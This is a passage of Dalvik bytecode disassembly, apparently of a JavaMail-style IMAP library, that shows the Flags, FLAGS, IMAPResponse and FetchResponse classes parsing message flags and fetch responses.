00000030  move-result             v2
00000032  if-nez                  v2, :3C
:36
00000036  invoke-virtual          Vector->addElement(Object)V, v1, v0
:3C
0000003C  invoke-virtual          Response->peekByte()B, p1
00000042  move-result             v0
00000044  const/16                v2, 0x29
00000048  if-ne                   v0, v2, :20
:4C
0000004C  const/4                 v0, 0x1
0000004E  invoke-virtual          Response->skip(I)V, p1, v0
00000054  invoke-virtual          Vector->size()I, v1
0000005A  move-result             v0
0000005C  new-array               v0, v0, [InternetAddress
00000060  invoke-virtual          Vector->copyInto([Object)V, v1, v0
:66
00000066  return-object           v0
:68
00000068  const/16                v1, 0x4E
0000006C  if-eq                   v0, v1, :78
:70
00000070  const/16                v1, 0x6E
00000074  if-ne                   v0, v1, :84
:78
00000078  const/4                 v0, 0x2
0000007A  invoke-virtual          Response->skip(I)V, p1, v0
00000080  const/4                 v0, 0x0
00000082  goto                    :66
:84
00000084  new-instance            v0, ParsingException
00000088  const-string            v1, "ADDRESS parse error"
0000008C  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000092  throw                   v0
.end method

#--------------------------------------------------------------------------------
.class public Flags
.super Object
.source ""

.implements Serializable
.implements Cloneable

.field private static final ANSWERED_BIT:I = 0x1
.field private static final DELETED_BIT:I = 0x2
.field private static final DRAFT_BIT:I = 0x4
.field private static final FLAGGED_BIT:I = 0x8
.field private static final RECENT_BIT:I = 0x10
.field private static final SEEN_BIT:I = 0x20
.field private static final USER_BIT:I = 0x80000000
.field private static final serialVersionUID:J = 0x56A5B06539097BC4L
.field private system_flags:I
.field private user_flags:Hashtable

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput                    v0, p0, Flags->system_flags:I
0000000C  const/4                 v0, 0x0
0000000E  iput-object             v0, p0, Flags->user_flags:Hashtable
00000012  return-void
.end method

.method public constructor <init>(String)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput                    v0, p0, Flags->system_flags:I
0000000C  const/4                 v0, 0x0
0000000E  iput-object             v0, p0, Flags->user_flags:Hashtable
00000012  new-instance            v0, Hashtable
00000016  const/4                 v1, 0x1
00000018  invoke-direct           Hashtable-><init>(I)V, v0, v1
0000001E  iput-object             v0, p0, Flags->user_flags:Hashtable
00000022  iget-object             v0, p0, Flags->user_flags:Hashtable
00000026  sget-object             v1, Locale->ENGLISH:Locale
0000002A  invoke-virtual          String->toLowerCase(Locale)String, p1, v1
00000030  move-result-object      v1
00000032  invoke-virtual          Hashtable->put(Object, Object)Object, v0, v1, p1
00000038  return-void
.end method

.method public constructor <init>(Flags$Flag)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput                    v0, p0, Flags->system_flags:I
0000000C  const/4                 v0, 0x0
0000000E  iput-object             v0, p0, Flags->user_flags:Hashtable
00000012  iget                    v0, p0, Flags->system_flags:I
00000016  invoke-static           Flags$Flag->access$0(Flags$Flag)I, p1
0000001C  move-result             v1
0000001E  or-int/2addr            v0, v1
00000020  iput                    v0, p0, Flags->system_flags:I
00000024  return-void
.end method

.method public constructor <init>(Flags)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput                    v0, p0, Flags->system_flags:I
0000000C  const/4                 v0, 0x0
0000000E  iput-object             v0, p0, Flags->user_flags:Hashtable
00000012  iget                    v0, p1, Flags->system_flags:I
00000016  iput                    v0, p0, Flags->system_flags:I
0000001A  iget-object             v0, p1, Flags->user_flags:Hashtable
0000001E  if-eqz                  v0, :36
:22
00000022  iget-object             v0, p1, Flags->user_flags:Hashtable
00000026  invoke-virtual          Hashtable->clone()Object, v0
0000002C  move-result-object      v0
0000002E  check-cast              v0, Hashtable
00000032  iput-object             v0, p0, Flags->user_flags:Hashtable
:36
00000036  return-void
.end method

.method public add(String)V
          .registers 4
00000000  iget-object             v0, p0, Flags->user_flags:Hashtable
00000004  if-nez                  v0, :18
:8
00000008  new-instance            v0, Hashtable
0000000C  const/4                 v1, 0x1
0000000E  invoke-direct           Hashtable-><init>(I)V, v0, v1
00000014  iput-object             v0, p0, Flags->user_flags:Hashtable
:18
00000018  iget-object             v0, p0, Flags->user_flags:Hashtable
0000001C  sget-object             v1, Locale->ENGLISH:Locale
00000020  invoke-virtual          String->toLowerCase(Locale)String, p1, v1
00000026  move-result-object      v1
00000028  invoke-virtual          Hashtable->put(Object, Object)Object, v0, v1, p1
0000002E  return-void
.end method

.method public add(Flags$Flag)V
          .registers 4
00000000  iget                    v0, p0, Flags->system_flags:I
00000004  invoke-static           Flags$Flag->access$0(Flags$Flag)I, p1
0000000A  move-result             v1
0000000C  or-int/2addr            v0, v1
0000000E  iput                    v0, p0, Flags->system_flags:I
00000012  return-void
.end method

.method public add(Flags)V
          .registers 6
00000000  iget                    v0, p0, Flags->system_flags:I
00000004  iget                    v1, p1, Flags->system_flags:I
00000008  or-int/2addr            v0, v1
0000000A  iput                    v0, p0, Flags->system_flags:I
0000000E  iget-object             v0, p1, Flags->user_flags:Hashtable
00000012  if-eqz                  v0, :46
:16
00000016  iget-object             v0, p0, Flags->user_flags:Hashtable
0000001A  if-nez                  v0, :2E
:1E
0000001E  new-instance            v0, Hashtable
00000022  const/4                 v1, 0x1
00000024  invoke-direct           Hashtable-><init>(I)V, v0, v1
0000002A  iput-object             v0, p0, Flags->user_flags:Hashtable
:2E
0000002E  iget-object             v0, p1, Flags->user_flags:Hashtable
00000032  invoke-virtual          Hashtable->keys()Enumeration, v0
00000038  move-result-object      v1
:3A
0000003A  invoke-interface        Enumeration->hasMoreElements()Z, v1
00000040  move-result             v0
00000042  if-nez                  v0, :48
:46
00000046  return-void
:48
00000048  invoke-interface        Enumeration->nextElement()Object, v1
0000004E  move-result-object      v0
00000050  check-cast              v0, String
00000054  iget-object             v2, p0, Flags->user_flags:Hashtable
00000058  iget-object             v3, p1, Flags->user_flags:Hashtable
0000005C  invoke-virtual          Hashtable->get(Object)Object, v3, v0
00000062  move-result-object      v3
00000064  invoke-virtual          Hashtable->put(Object, Object)Object, v2, v0, v3
0000006A  goto                    :3A
.end method

.method public clone()Object
          .registers 3
00000000  const/4                 v1, 0x0
:2
00000002  invoke-super            Object->clone()Object, p0
00000008  move-result-object      v0
0000000A  check-cast              v0, Flags
:E
0000000E  move-object             v1, v0
:10
00000010  iget-object             v0, p0, Flags->user_flags:Hashtable
00000014  if-eqz                  v0, :30
:18
00000018  if-eqz                  v1, :30
:1C
0000001C  iget-object             v0, p0, Flags->user_flags:Hashtable
00000020  invoke-virtual          Hashtable->clone()Object, v0
00000026  move-result-object      v0
00000028  check-cast              v0, Hashtable
0000002C  iput-object             v0, v1, Flags->user_flags:Hashtable
:30
00000030  return-object           v1
:32
00000032  move-exception          v0
00000034  goto                    :10
          .catch CloneNotSupportedException {:2 .. :E} :32
.end method

.method public contains(String)Z
          .registers 4
00000000  iget-object             v0, p0, Flags->user_flags:Hashtable
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  iget-object             v0, p0, Flags->user_flags:Hashtable
00000010  sget-object             v1, Locale->ENGLISH:Locale
00000014  invoke-virtual          String->toLowerCase(Locale)String, p1, v1
0000001A  move-result-object      v1
0000001C  invoke-virtual          Hashtable->containsKey(Object)Z, v0, v1
00000022  move-result             v0
00000024  goto                    :A
.end method

.method public contains(Flags$Flag)Z
          .registers 4
00000000  iget                    v0, p0, Flags->system_flags:I
00000004  invoke-static           Flags$Flag->access$0(Flags$Flag)I, p1
0000000A  move-result             v1
0000000C  and-int/2addr           v0, v1
0000000E  if-eqz                  v0, :16
:12
00000012  const/4                 v0, 0x1
:14
00000014  return                  v0
:16
00000016  const/4                 v0, 0x0
00000018  goto                    :14
.end method

.method public contains(Flags)Z
          .registers 6
00000000  const/4                 v0, 0x0
00000002  iget                    v1, p1, Flags->system_flags:I
00000006  iget                    v2, p0, Flags->system_flags:I
0000000A  and-int/2addr           v1, v2
0000000C  iget                    v2, p1, Flags->system_flags:I
00000010  if-eq                   v1, v2, :16
:14
00000014  return                  v0
:16
00000016  iget-object             v1, p1, Flags->user_flags:Hashtable
0000001A  if-eqz                  v1, :3E
:1E
0000001E  iget-object             v1, p0, Flags->user_flags:Hashtable
00000022  if-eqz                  v1, :14
:26
00000026  iget-object             v1, p1, Flags->user_flags:Hashtable
0000002A  invoke-virtual          Hashtable->keys()Enumeration, v1
00000030  move-result-object      v1
:32
00000032  invoke-interface        Enumeration->hasMoreElements()Z, v1
00000038  move-result             v2
0000003A  if-nez                  v2, :42
:3E
0000003E  const/4                 v0, 0x1
00000040  goto                    :14
:42
00000042  iget-object             v2, p0, Flags->user_flags:Hashtable
00000046  invoke-interface        Enumeration->nextElement()Object, v1
0000004C  move-result-object      v3
0000004E  invoke-virtual          Hashtable->containsKey(Object)Z, v2, v3
00000054  move-result             v2
00000056  if-nez                  v2, :32
:5A
0000005A  goto                    :14
.end method

.method public equals(Object)Z
          .registers 7
00000000  const/4                 v1, 0x1
00000002  const/4                 v0, 0x0
00000004  instance-of             v2, p1, Flags
00000008  if-nez                  v2, :E
:C
0000000C  return                  v0
:E
0000000E  check-cast              p1, Flags
00000012  iget                    v2, p1, Flags->system_flags:I
00000016  iget                    v3, p0, Flags->system_flags:I
0000001A  if-ne                   v2, v3, :C
:1E
0000001E  iget-object             v2, p1, Flags->user_flags:Hashtable
00000022  if-nez                  v2, :32
:26
00000026  iget-object             v2, p0, Flags->user_flags:Hashtable
0000002A  if-nez                  v2, :32
:2E
0000002E  move                    v0, v1
00000030  goto                    :C
:32
00000032  iget-object             v2, p1, Flags->user_flags:Hashtable
00000036  if-eqz                  v2, :C
:3A
0000003A  iget-object             v2, p0, Flags->user_flags:Hashtable
0000003E  if-eqz                  v2, :C
:42
00000042  iget-object             v2, p1, Flags->user_flags:Hashtable
00000046  invoke-virtual          Hashtable->size()I, v2
0000004C  move-result             v2
0000004E  iget-object             v3, p0, Flags->user_flags:Hashtable
00000052  invoke-virtual          Hashtable->size()I, v3
00000058  move-result             v3
0000005A  if-ne                   v2, v3, :C
:5E
0000005E  iget-object             v2, p1, Flags->user_flags:Hashtable
00000062  invoke-virtual          Hashtable->keys()Enumeration, v2
00000068  move-result-object      v2
:6A
0000006A  invoke-interface        Enumeration->hasMoreElements()Z, v2
00000070  move-result             v3
00000072  if-nez                  v3, :7A
:76
00000076  move                    v0, v1
00000078  goto                    :C
:7A
0000007A  iget-object             v3, p0, Flags->user_flags:Hashtable
0000007E  invoke-interface        Enumeration->nextElement()Object, v2
00000084  move-result-object      v4
00000086  invoke-virtual          Hashtable->containsKey(Object)Z, v3, v4
0000008C  move-result             v3
0000008E  if-nez                  v3, :6A
:92
00000092  goto                    :C
.end method

.method public getSystemFlags()[Flags$Flag
          .registers 4
00000000  new-instance            v0, Vector
00000004  invoke-direct           Vector-><init>()V, v0
0000000A  iget                    v1, p0, Flags->system_flags:I
0000000E  and-int/lit8            v1, v1, 0x1
00000012  if-eqz                  v1, :20
:16
00000016  sget-object             v1, Flags$Flag->ANSWERED:Flags$Flag
0000001A  invoke-virtual          Vector->addElement(Object)V, v0, v1
:20
00000020  iget                    v1, p0, Flags->system_flags:I
00000024  and-int/lit8            v1, v1, 0x2
00000028  if-eqz                  v1, :36
:2C
0000002C  sget-object             v1, Flags$Flag->DELETED:Flags$Flag
00000030  invoke-virtual          Vector->addElement(Object)V, v0, v1
:36
00000036  iget                    v1, p0, Flags->system_flags:I
0000003A  and-int/lit8            v1, v1, 0x4
0000003E  if-eqz                  v1, :4C
:42
00000042  sget-object             v1, Flags$Flag->DRAFT:Flags$Flag
00000046  invoke-virtual          Vector->addElement(Object)V, v0, v1
:4C
0000004C  iget                    v1, p0, Flags->system_flags:I
00000050  and-int/lit8            v1, v1, 0x8
00000054  if-eqz                  v1, :62
:58
00000058  sget-object             v1, Flags$Flag->FLAGGED:Flags$Flag
0000005C  invoke-virtual          Vector->addElement(Object)V, v0, v1
:62
00000062  iget                    v1, p0, Flags->system_flags:I
00000066  and-int/lit8            v1, v1, 0x10
0000006A  if-eqz                  v1, :78
:6E
0000006E  sget-object             v1, Flags$Flag->RECENT:Flags$Flag
00000072  invoke-virtual          Vector->addElement(Object)V, v0, v1
:78
00000078  iget                    v1, p0, Flags->system_flags:I
0000007C  and-int/lit8            v1, v1, 0x20
00000080  if-eqz                  v1, :8E
:84
00000084  sget-object             v1, Flags$Flag->SEEN:Flags$Flag
00000088  invoke-virtual          Vector->addElement(Object)V, v0, v1
:8E
0000008E  iget                    v1, p0, Flags->system_flags:I
00000092  const/high16            v2, 0xFFFFFFFF80000000
00000096  and-int/2addr           v1, v2
00000098  if-eqz                  v1, :A6
:9C
0000009C  sget-object             v1, Flags$Flag->USER:Flags$Flag
000000A0  invoke-virtual          Vector->addElement(Object)V, v0, v1
:A6
000000A6  invoke-virtual          Vector->size()I, v0
000000AC  move-result             v1
000000AE  new-array               v1, v1, [Flags$Flag
000000B2  invoke-virtual          Vector->copyInto([Object)V, v0, v1
000000B8  return-object           v1
.end method

.method public getUserFlags()[String
          .registers 4
00000000  new-instance            v0, Vector
00000004  invoke-direct           Vector-><init>()V, v0
0000000A  iget-object             v1, p0, Flags->user_flags:Hashtable
0000000E  if-eqz                  v1, :2A
:12
00000012  iget-object             v1, p0, Flags->user_flags:Hashtable
00000016  invoke-virtual          Hashtable->elements()Enumeration, v1
0000001C  move-result-object      v1
:1E
0000001E  invoke-interface        Enumeration->hasMoreElements()Z, v1
00000024  move-result             v2
00000026  if-nez                  v2, :3E
:2A
0000002A  invoke-virtual          Vector->size()I, v0
00000030  move-result             v1
00000032  new-array               v1, v1, [String
00000036  invoke-virtual          Vector->copyInto([Object)V, v0, v1
0000003C  return-object           v1
:3E
0000003E  invoke-interface        Enumeration->nextElement()Object, v1
00000044  move-result-object      v2
00000046  invoke-virtual          Vector->addElement(Object)V, v0, v2
0000004C  goto                    :1E
.end method

.method public hashCode()I
          .registers 4
00000000  iget                    v0, p0, Flags->system_flags:I
00000004  iget-object             v1, p0, Flags->user_flags:Hashtable
00000008  if-eqz                  v1, :42
:C
0000000C  iget-object             v1, p0, Flags->user_flags:Hashtable
00000010  invoke-virtual          Hashtable->keys()Enumeration, v1
00000016  move-result-object      v2
00000018  move                    v1, v0
:1A
0000001A  invoke-interface        Enumeration->hasMoreElements()Z, v2
00000020  move-result             v0
00000022  if-nez                  v0, :28
:26
00000026  return                  v1
:28
00000028  invoke-interface        Enumeration->nextElement()Object, v2
0000002E  move-result-object      v0
00000030  check-cast              v0, String
00000034  invoke-virtual          String->hashCode()I, v0
0000003A  move-result             v0
0000003C  add-int/2addr           v0, v1
0000003E  move                    v1, v0
00000040  goto                    :1A
:42
00000042  move                    v1, v0
00000044  goto                    :26
.end method

.method public remove(String)V
          .registers 4
00000000  iget-object             v0, p0, Flags->user_flags:Hashtable
00000004  if-eqz                  v0, :1E
:8
00000008  iget-object             v0, p0, Flags->user_flags:Hashtable
0000000C  sget-object             v1, Locale->ENGLISH:Locale
00000010  invoke-virtual          String->toLowerCase(Locale)String, p1, v1
00000016  move-result-object      v1
00000018  invoke-virtual          Hashtable->remove(Object)Object, v0, v1
:1E
0000001E  return-void
.end method

.method public remove(Flags$Flag)V
          .registers 4
00000000  iget                    v0, p0, Flags->system_flags:I
00000004  invoke-static           Flags$Flag->access$0(Flags$Flag)I, p1
0000000A  move-result             v1
0000000C  xor-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000010  and-int/2addr           v0, v1
00000012  iput                    v0, p0, Flags->system_flags:I
00000016  return-void
.end method

.method public remove(Flags)V
          .registers 5
00000000  iget                    v0, p0, Flags->system_flags:I
00000004  iget                    v1, p1, Flags->system_flags:I
00000008  xor-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
0000000C  and-int/2addr           v0, v1
0000000E  iput                    v0, p0, Flags->system_flags:I
00000012  iget-object             v0, p1, Flags->user_flags:Hashtable
00000016  if-eqz                  v0, :22
:1A
0000001A  iget-object             v0, p0, Flags->user_flags:Hashtable
0000001E  if-nez                  v0, :24
:22
00000022  return-void
:24
00000024  iget-object             v0, p1, Flags->user_flags:Hashtable
00000028  invoke-virtual          Hashtable->keys()Enumeration, v0
0000002E  move-result-object      v0
:30
00000030  invoke-interface        Enumeration->hasMoreElements()Z, v0
00000036  move-result             v1
00000038  if-eqz                  v1, :22
:3C
0000003C  iget-object             v1, p0, Flags->user_flags:Hashtable
00000040  invoke-interface        Enumeration->nextElement()Object, v0
00000046  move-result-object      v2
00000048  invoke-virtual          Hashtable->remove(Object)Object, v1, v2
0000004E  goto                    :30
.end method

#--------------------------------------------------------------------------------
.class public FLAGS
.super Flags
.source ""

.implements Item

.field static final name:[C = null
.field private static final serialVersionUID:J = 0x617D1827C5428FEL
.field public msgno:I

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x5
00000002  new-array               v0, v0, [C
00000006  fill-array-data         v0, :14
0000000C  sput-object             v0, FLAGS->name:[C
00000010  return-void
00000014  .array-data 2 x 0x5
              0x46
              0x4C
              0x41
              0x47
              0x53
          .end array-data
.end method

.method public constructor <init>(IMAPResponse)V
          .registers 9
00000000  const/4                 v6, 0x2
00000002  const/4                 v1, 0x0
00000004  invoke-direct           Flags-><init>()V, p0
0000000A  invoke-virtual          IMAPResponse->getNumber()I, p1
00000010  move-result             v0
00000012  iput                    v0, p0, FLAGS->msgno:I
00000016  invoke-virtual          IMAPResponse->skipSpaces()V, p1
0000001C  invoke-virtual          IMAPResponse->readSimpleList()[String, p1
00000022  move-result-object      v2
00000024  if-eqz                  v2, :30
:28
00000028  move                    v0, v1
:2A
0000002A  array-length            v3, v2
0000002C  if-lt                   v0, v3, :32
:30
00000030  return-void
:32
00000032  aget-object             v3, v2, v0
00000036  invoke-virtual          String->length()I, v3
0000003C  move-result             v4
0000003E  if-lt                   v4, v6, :108
:42
00000042  invoke-virtual          String->charAt(I)C, v3, v1
00000048  move-result             v4
0000004A  const/16                v5, 0x5C
0000004E  if-ne                   v4, v5, :108
:52
00000052  const/4                 v4, 0x1
00000054  invoke-virtual          String->charAt(I)C, v3, v4
0000005A  move-result             v4
0000005C  invoke-static           Character->toUpperCase(C)C, v4
00000062  move-result             v4
00000064  sparse-switch           v4, :110
:6A
0000006A  invoke-virtual          FLAGS->add(String)V, p0, v3
:70
00000070  add-int/lit8            v0, v0, 0x1
00000074  goto                    :2A
:76
00000076  sget-object             v3, Flags$Flag->SEEN:Flags$Flag
0000007A  invoke-virtual          FLAGS->add(Flags$Flag)V, p0, v3
00000080  goto                    :70
:82
00000082  sget-object             v3, Flags$Flag->RECENT:Flags$Flag
00000086  invoke-virtual          FLAGS->add(Flags$Flag)V, p0, v3
0000008C  goto                    :70
:8E
0000008E  invoke-virtual          String->length()I, v3
00000094  move-result             v4
00000096  const/4                 v5, 0x3
00000098  if-lt                   v4, v5, :DC
:9C
0000009C  invoke-virtual          String->charAt(I)C, v3, v6
000000A2  move-result             v3
000000A4  const/16                v4, 0x65
000000A8  if-eq                   v3, v4, :B4
:AC
000000AC  const/16                v4, 0x45
000000B0  if-ne                   v3, v4, :C0
:B4
000000B4  sget-object             v3, Flags$Flag->DELETED:Flags$Flag
000000B8  invoke-virtual          FLAGS->add(Flags$Flag)V, p0, v3
000000BE  goto                    :70
:C0
000000C0  const/16                v4, 0x72
000000C4  if-eq                   v3, v4, :D0
:C8
000000C8  const/16                v4, 0x52
000000CC  if-ne                   v3, v4, :70
:D0
000000D0  sget-object             v3, Flags$Flag->DRAFT:Flags$Flag
000000D4  invoke-virtual          FLAGS->add(Flags$Flag)V, p0, v3
000000DA  goto                    :70
:DC
000000DC  invoke-virtual          FLAGS->add(String)V, p0, v3
000000E2  goto                    :70
:E4
000000E4  sget-object             v3, Flags$Flag->ANSWERED:Flags$Flag
000000E8  invoke-virtual          FLAGS->add(Flags$Flag)V, p0, v3
000000EE  goto                    :70
:F0
000000F0  sget-object             v3, Flags$Flag->FLAGGED:Flags$Flag
000000F4  invoke-virtual          FLAGS->add(Flags$Flag)V, p0, v3
000000FA  goto                    :70
:FC
000000FC  sget-object             v3, Flags$Flag->USER:Flags$Flag
00000100  invoke-virtual          FLAGS->add(Flags$Flag)V, p0, v3
00000106  goto                    :70
:108
00000108  invoke-virtual          FLAGS->add(String)V, p0, v3
0000010E  goto                    :70
00000110  .sparse-switch
              0x2A -> :FC
              0x41 -> :E4
              0x44 -> :8E
              0x46 -> :F0
              0x52 -> :82
              0x53 -> :76
          .end sparse-switch
.end method

#--------------------------------------------------------------------------------
.class public IMAPResponse
.super Response
.source ""

.field private key:String
.field private number:I

.method public constructor <init>(Protocol)V
          .registers 3
00000000  invoke-direct           Response-><init>(Protocol)V, p0, p1
00000006  invoke-virtual          IMAPResponse->isUnTagged()Z, p0
0000000C  move-result             v0
0000000E  if-eqz                  v0, :6A
:12
00000012  invoke-virtual          IMAPResponse->isOK()Z, p0
00000018  move-result             v0
0000001A  if-nez                  v0, :6A
:1E
0000001E  invoke-virtual          IMAPResponse->isNO()Z, p0
00000024  move-result             v0
00000026  if-nez                  v0, :6A
:2A
0000002A  invoke-virtual          IMAPResponse->isBAD()Z, p0
00000030  move-result             v0
00000032  if-nez                  v0, :6A
:36
00000036  invoke-virtual          IMAPResponse->isBYE()Z, p0
0000003C  move-result             v0
0000003E  if-nez                  v0, :6A
:42
00000042  invoke-virtual          IMAPResponse->readAtom()String, p0
00000048  move-result-object      v0
0000004A  iput-object             v0, p0, IMAPResponse->key:String
:4E
0000004E  iget-object             v0, p0, IMAPResponse->key:String
00000052  invoke-static           Integer->parseInt(String)I, v0
00000058  move-result             v0
0000005A  iput                    v0, p0, IMAPResponse->number:I
0000005E  invoke-virtual          IMAPResponse->readAtom()String, p0
00000064  move-result-object      v0
00000066  iput-object             v0, p0, IMAPResponse->key:String
:6A
0000006A  return-void
:6C
0000006C  move-exception          v0
0000006E  goto                    :6A
          .catch NumberFormatException {:4E .. :6A} :6C
.end method

.method public constructor <init>(IMAPResponse)V
          .registers 3
00000000  invoke-direct           Response-><init>(Response)V, p0, p1
00000006  iget-object             v0, p1, IMAPResponse->key:String
0000000A  iput-object             v0, p0, IMAPResponse->key:String
0000000E  iget                    v0, p1, IMAPResponse->number:I
00000012  iput                    v0, p0, IMAPResponse->number:I
00000016  return-void
.end method

.method public static readResponse(Protocol)IMAPResponse
          .registers 3
00000000  new-instance            v1, IMAPResponse
00000004  invoke-direct           IMAPResponse-><init>(Protocol)V, v1, p0
0000000A  const-string            v0, "FETCH"
0000000E  invoke-virtual          IMAPResponse->keyEquals(String)Z, v1, v0
00000014  move-result             v0
00000016  if-eqz                  v0, :26
:1A
0000001A  new-instance            v0, FetchResponse
0000001E  invoke-direct           FetchResponse-><init>(IMAPResponse)V, v0, v1
:24
00000024  return-object           v0
:26
00000026  move-object             v0, v1
00000028  goto                    :24
.end method

.method public getKey()String
          .registers 2
00000000  iget-object             v0, p0, IMAPResponse->key:String
00000004  return-object           v0
.end method

.method public getNumber()I
          .registers 2
00000000  iget                    v0, p0, IMAPResponse->number:I
00000004  return                  v0
.end method

.method public keyEquals(String)Z
          .registers 3
00000000  iget-object             v0, p0, IMAPResponse->key:String
00000004  if-eqz                  v0, :1C
:8
00000008  iget-object             v0, p0, IMAPResponse->key:String
0000000C  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, p1
00000012  move-result             v0
00000014  if-eqz                  v0, :1C
:18
00000018  const/4                 v0, 0x1
:1A
0000001A  return                  v0
:1C
0000001C  const/4                 v0, 0x0
0000001E  goto                    :1A
.end method

.method public readSimpleList()[String
          .registers 6
00000000  const/4                 v1, 0x0
00000002  invoke-virtual          IMAPResponse->skipSpaces()V, p0
00000008  iget-object             v0, p0, IMAPResponse->buffer:[B
0000000C  iget                    v2, p0, IMAPResponse->index:I
00000010  aget-byte               v0, v0, v2
00000014  const/16                v2, 0x28
00000018  if-eq                   v0, v2, :20
:1C
0000001C  move-object             v0, v1
:1E
0000001E  return-object           v0
:20
00000020  iget                    v0, p0, IMAPResponse->index:I
00000024  add-int/lit8            v0, v0, 0x1
00000028  iput                    v0, p0, IMAPResponse->index:I
0000002C  new-instance            v2, Vector
00000030  invoke-direct           Vector-><init>()V, v2
00000036  iget                    v0, p0, IMAPResponse->index:I
:3A
0000003A  iget-object             v3, p0, IMAPResponse->buffer:[B
0000003E  iget                    v4, p0, IMAPResponse->index:I
00000042  aget-byte               v3, v3, v4
00000046  const/16                v4, 0x29
0000004A  if-ne                   v3, v4, :90
:4E
0000004E  iget                    v3, p0, IMAPResponse->index:I
00000052  if-le                   v3, v0, :6C
:56
00000056  iget-object             v3, p0, IMAPResponse->buffer:[B
0000005A  iget                    v4, p0, IMAPResponse->index:I
0000005E  invoke-static           ASCIIUtility->toString([B, I, I)String, v3, v0, v4
00000064  move-result-object      v0
00000066  invoke-virtual          Vector->addElement(Object)V, v2, v0
:6C
0000006C  iget                    v0, p0, IMAPResponse->index:I
00000070  add-int/lit8            v0, v0, 0x1
00000074  iput                    v0, p0, IMAPResponse->index:I
00000078  invoke-virtual          Vector->size()I, v2
0000007E  move-result             v0
00000080  if-lez                  v0, :D0
:84
00000084  new-array               v0, v0, [String
00000088  invoke-virtual          Vector->copyInto([Object)V, v2, v0
0000008E  goto                    :1E
:90
00000090  iget-object             v3, p0, IMAPResponse->buffer:[B
00000094  iget                    v4, p0, IMAPResponse->index:I
00000098  aget-byte               v3, v3, v4
0000009C  const/16                v4, 0x20
000000A0  if-ne                   v3, v4, :C2
:A4
000000A4  iget-object             v3, p0, IMAPResponse->buffer:[B
000000A8  iget                    v4, p0, IMAPResponse->index:I
000000AC  invoke-static           ASCIIUtility->toString([B, I, I)String, v3, v0, v4
000000B2  move-result-object      v0
000000B4  invoke-virtual          Vector->addElement(Object)V, v2, v0
000000BA  iget                    v0, p0, IMAPResponse->index:I
000000BE  add-int/lit8            v0, v0, 0x1
:C2
000000C2  iget                    v3, p0, IMAPResponse->index:I
000000C6  add-int/lit8            v3, v3, 0x1
000000CA  iput                    v3, p0, IMAPResponse->index:I
000000CE  goto                    :3A
:D0
000000D0  move-object             v0, v1
000000D2  goto                    :1E
.end method

#--------------------------------------------------------------------------------
.class public FetchResponse
.super IMAPResponse
.source ""

.field private static final HEADER:[C
.field private static final TEXT:[C
.field private items:[Item

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x7
00000002  new-array               v0, v0, [C
00000006  fill-array-data         v0, :24
0000000C  sput-object             v0, FetchResponse->HEADER:[C
00000010  const/4                 v0, 0x5
00000012  new-array               v0, v0, [C
00000016  fill-array-data         v0, :3C
0000001C  sput-object             v0, FetchResponse->TEXT:[C
00000020  return-void
00000024  .array-data 2 x 0x7
              0x2E
              0x48
              0x45
              0x41
              0x44
              0x45
              0x52
          .end array-data
0000003C  .array-data 2 x 0x5
              0x2E
              0x54
              0x45
              0x58
              0x54
          .end array-data
.end method

.method public constructor <init>(Protocol)V
          .registers 2
00000000  invoke-direct           IMAPResponse-><init>(Protocol)V, p0, p1
00000006  invoke-direct           FetchResponse->parse()V, p0
0000000C  return-void
.end method

.method public constructor <init>(IMAPResponse)V
          .registers 2
00000000  invoke-direct           IMAPResponse-><init>(IMAPResponse)V, p0, p1
00000006  invoke-direct           FetchResponse->parse()V, p0
0000000C  return-void
.end method

.method public static getItem([Response, I, Class)Item
          .registers 9
00000000  const/4                 v4, 0x0
00000002  const/4                 v2, 0x0
00000004  if-nez                  p0, :C
:8
00000008  move-object             v0, v4
:A
0000000A  return-object           v0
:C
0000000C  move                    v1, v2
:E
0000000E  array-length            v0, p0
00000010  if-lt                   v1, v0, :18
:14
00000014  move-object             v0, v4
00000016  goto                    :A
:18
00000018  aget-object             v0, p0, v1
0000001C  if-eqz                  v0, :40
:20
00000020  aget-object             v0, p0, v1
00000024  instance-of             v0, v0, FetchResponse
00000028  if-eqz                  v0, :40
:2C
0000002C  aget-object             v0, p0, v1
00000030  check-cast              v0, FetchResponse
00000034  invoke-virtual          FetchResponse->getNumber()I, v0
0000003A  move-result             v0
0000003C  if-eq                   v0, p1, :48
:40
00000040  add-int/lit8            v0, v1, 0x1
00000044  move                    v1, v0
00000046  goto                    :E
:48
00000048  aget-object             v0, p0, v1
0000004C  check-cast              v0, FetchResponse
00000050  move                    v3, v2
:52
00000052  iget-object             v5, v0, FetchResponse->items:[Item
00000056  array-length            v5, v5
00000058  if-ge                   v3, v5, :40
:5C
0000005C  iget-object             v5, v0, FetchResponse->items:[Item
00000060  aget-object             v5, v5, v3
00000064  invoke-virtual          Class->isInstance(Object)Z, p2, v5
0000006A  move-result             v5
0000006C  if-eqz                  v5, :7A
:70
00000070  iget-object             v0, v0, FetchResponse->items:[Item
00000074  aget-object             v0, v0, v3
00000078  goto                    :A
:7A
0000007A  add-int/lit8            v3, v3, 0x1
0000007E  goto                    :52
.end method

.method private match([C)Z
          .registers 8
00000000  const/4                 v0, 0x0
00000002  array-length            v4, p1
00000004  iget                    v1, p0, FetchResponse->index:I
00000008  move                    v3, v0
:A
0000000A  if-lt                   v3, v4, :12
:E
0000000E  const/4                 v0, 0x1
:10
00000010  return                  v0
:12
00000012  iget-object             v5, p0, FetchResponse->buffer:[B
00000016  add-int/lit8            v2, v1, 0x1
0000001A  aget-byte               v1, v5, v1
0000001E  int-to-char             v1, v1
00000020  invoke-static           Character->toUpperCase(C)C, v1
00000026  move-result             v5
00000028  add-int/lit8            v1, v3, 0x1
0000002C  aget-char               v3, p1, v3
00000030  if-ne                   v5, v3, :10
:34
00000034  move                    v3, v1
